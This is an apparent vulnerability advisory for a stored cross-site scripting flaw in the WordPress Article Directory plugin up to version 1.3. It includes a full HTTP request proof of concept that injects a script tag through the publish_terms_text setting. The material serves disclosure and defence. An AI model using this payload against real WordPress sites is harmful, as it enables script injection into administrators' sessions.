WordPress Plugin Vulnerabilities
Article Directory <= 1.3 - Admin+ Stored XSS
Description
The plugin does not properly sanitize the `publish_terms_text` setting before displaying it in the administration panel, which may enable administrators to conduct Stored XSS attacks in multisite contexts.
Proof of Concept
``` POST /wordpress/wp-admin/options.php HTTP/1.1 Host: 172.28.128.6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://172.28.128.6/wordpress/wp-admin/options-general.php?page=article-directory%2Farticle-directory.php Content-Type: application/x-www-form-urlencoded Content-Length: 1234 Origin: http://172.28.128.6 Connection: close Cookie: wordpress_b92078c82d0f1044cdfb065e7ae28bec=admin%7C1672746064%7CQtuyq4Np2JGSAZb83cNhdojTDRRIDPVisa0ndOhoEPO%7Cec675c4bca520751295d2189a34017309eeba5b54a5f39c1c85643a6c0718e17; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_b92078c82d0f1044cdfb065e7ae28bec=admin%7C1672746064%7CQtuyq4Np2JGSAZb83cNhdojTDRRIDPVisa0ndOhoEPO%7Cbc4ecbc11fae0c1cfc10ad70b8372835f2b30f3abed1872afa83058e16611a00; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse; wp-settings-time-1=1672573750 Upgrade-Insecure-Requests: 1 option_page=article_directory&action=update&_wpnonce=374f46ff36&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Darticle-directory%252Farticle-directory.php&article_directory%5Bcolumn_count%5D=3&article_directory%5Bsort_by%5D=0&article_directory%5Bsort_direction%5D=0&article_directory%5Bshow_parent_count%5D=1&article_directory%5Bdesc_for_parent_title%5D=1&article_directory%5Bno_child_alert%5D=1&article_directory%5Bshow_child%5D=1&article_directory%5Bshow_child_count%5D=1&article_directory%5Bmaximum_child%5D=0&article_directory%5Bdesc_for_child_title%5D=1&article_directory%5Bchild_hierarchical%5D=1&article_directory%5Bhide_empty%5D=0&article_directory%5Bexclude_cats%5D=0&article_directory%5Bauthor_interface%5D=0&article_directory%5Bauthor_panel_id%5D=123&article_directory%5Barticle_status%5D=0&article_directory%5Bminimum_symbols%5D=700&article_directory%5Bmaximum_links%5D=3&article_directory%5Bshow_editor%5D=1&article_directory%5Bdefault_editor%5D=html&article_directory%5Bsel_only_one_cat%5D=1&article_directory%5Bshow_tags%5D=0&article_directory%5Ballow_new_tags%5D=0&article_directory%5Bpublish_terms_text%5D=asdfghj</textarea></td><script>alert(document.domain)</script>&article_directory%5Bkinderloss%5D=1&article_directory%5Bshow_article_code%5D=0 ``` Please replace the nonce and cookie values. This exploit works for inter-admin.
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Shreya Pohekar
Submitter
Shreya Pohekar
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-03-17 (about 1 years ago)
Added
2023-03-17 (about 1 years ago)
Last Updated
2023-03-17 (about 1 years ago)